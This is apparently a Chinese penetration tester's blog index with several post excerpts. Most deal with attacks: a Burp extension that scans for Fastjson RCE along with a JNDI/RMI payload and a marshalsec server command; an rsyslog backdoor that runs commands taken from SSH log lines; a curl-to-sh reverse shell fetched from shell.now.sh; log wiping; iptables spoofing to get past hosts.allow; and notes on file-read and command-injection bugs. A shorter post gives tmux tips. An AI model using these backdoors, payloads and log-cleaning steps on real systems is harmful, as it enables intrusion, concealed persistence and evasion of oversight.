wubba lubba dub dub.
post @ 2019-07-22

2019/08/13 Update.

  1. 代码没有考虑到json里面套json的情况。
  2. 代码没有考虑到在使用x-www-form-urlencoded的参数是json的情况。
    这两个加上去之后感觉每个请求的时间都会增加,先挖坑。

2019/08/02 Update:

  1. 之前的代码太的太烂,去掉了不用的代码
  2. 增加了hash验证,如果已经请求过的URL第二次就不检测了,需建立/var/tmp/hash.txt文件(自己看着改吧)
  3. 如果不熟悉,就看官方文档,文档,文档。
main.py

#/usr/bin/env python
#! -*- coding:utf-8 -*-

from burp import IBurpExtender # 定义插件的基本信息类
from burp import IHttpListener # http流量监听类
from burp import IRequestInfo
from noauth import noauth_request
import hashlib

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers() # 通用函数
        self._callbacks.setExtensionName("fastjson_scan")
        print "load fastjson_scan plugin success!"
        print "=================================="
        # register ourselves as an HTTP listener
        callbacks.registerHttpListener(self)
    
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag == 4 or toolFlag == 64 or toolFlag == 16 or toolFlag == 32:
            if  messageIsRequest:
                request = messageInfo.getRequest()
                analyzedRequest = self._helpers.analyzeRequest(request)
                contype = analyzedRequest.getContentType()  #get Content-type, 这里看官方文档
                url = str(messageInfo.getUrl())
                with open('/var/tmp/hash.txt') as f:
                    lines = f.read().splitlines()
                m = hashlib.md5()
                m.update(url)
                print url
                if contype == 4 and m.hexdigest() not in lines:    #是的,json的时候type等于4
                    with open('/var/tmp/hash.txt','a+') as f:
                        f.write(m.hexdigest()+"\n")
                    print "[Info]Check url is: %s" % url
                    cur = noauth_request(url)
                    noauth_result = cur.run()
                    if noauth_result: 
                        print "[Critical] Found it is a Fastjson RCE %s" % noauth_result[0]
                    print "======================================================================================"
                    print ""
                else:
                    pass

fastjson在1.2.47以下,包括1.2.47存在反序列化导致的远程命令执行,payload:

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:8000/Exploit","autoCommit":true}}

然后在远程主机开启rmi服务和Exploit.classweb服务就可以打了。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8888/#Exploit 8000
Read More
post @ 2019-07-21

Centos自带rsyslog,网上有具体利用过程,这里我记录下简单的坑。

建立后门

echo -e '#!/bin/sh\nsh -c "$1"'>/bin/atg
chmod 755 /bin/atg

echo "auth.*,regex, abcd  ^/bin/atg" > /etc/rsyslog.d/README.conf

重启生效(Centos用下面的systemctl):
/etc/init.d/rsyslog restart
systemctl restart rsyslog

利用:

echo "xxxxx';curl https://shell.now.sh/127.0.0.1:1337 | sh;'"|socat STDIO TCP4:127.0.0.1:22

擦屁股:

sed -i '/xxxxx/d' /var/log/secure
kill -9 $$ 

注意事项

如果主机设定了hosts.allow的情况下,利用的那一部分是无法成功的,因为这个ssh的日志不会被记录。所以咧我们可以利用iptables. :)

iptables -t nat -A INPUT -p tcp -d <受害主机> --dport 22 -s <攻击主机> -j SNAT --to-source <ip白名单的地址>
Read More
post @ 2019-06-24

组合键:

:new<回车> 启动新会话
s 列出所有会话
w 相当于s的时候展开列表,展开windows
$ 重命名当前会话

tmux kill-session -t demo # 关闭demo会话

他有一个session,windows,panes的概念

一个session可以有N个windows,N个panes

如果是最大化利用,那么需要找到一种可以跳来跳去的方法,不管是跳windows还是session。

一般来说是跳windows,因为windows下有几个不同的panes

所以,怎么跳最快?

name不管是pane还是windows,是不是只要有name就可以跳过去,不对,应该是windows之间的跳,因为一组windows就是一组任务。

一个session里面可以最下面的状态栏可以看到有几个windows,windows的名字如何

Read More
post @ 2019-06-18

常见越权测试完了之后,有一个上传文件的地方,上传的文件名存在反射xss,主要记录下任意文件读取和远程命令执行。

任意文件读取

  1. 刚开始测试任意文件读取的时候,找不到要读取的文件,问了开发目录结构才读出来,好蠢。实际可以通过/proc/self/cmdline 查看当前程序的运行参数,可以获取到源代码文件名。

  2. 一般python开发的时候,根目录可能存在文件: README.md,requirements.txt,app.py,.git/config之类的文件

远程命令执行

读取到源代码之后,中间有不一部分的代码是这样的,接收请求传过来的参数,然后列目录:

res = exec_cmd4("ls -l %s|awk '{print $5}'" % abs_file_name)

exec_cmd4是开发自己写的函数,通过任意文件读取可以找到函数定义:

def exec_cmd4(cmd, no_print=False):    
	if not no_print:        
		logger.debug(cmd)    
		p = subprocess.Popen(cmd, executable=\"/bin/bash\", shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)    
		return p.communicate();

这里存在命令注入漏洞,链接: https://strcpy.me/index.php/archives/787/

抄一下demo代码:

Read More
post @ 2019-05-27

碰到一个任意URL跳转漏洞,第一次测的时候居然没有测出来,记录下笔记,以下是绕过的方式:

0x01: 小老鼠跳转绕过

0x02: ?跳转绕过

0x03: #绕过

0x04: /绕过

0x05: \绕过

Read More
⬆︎TOP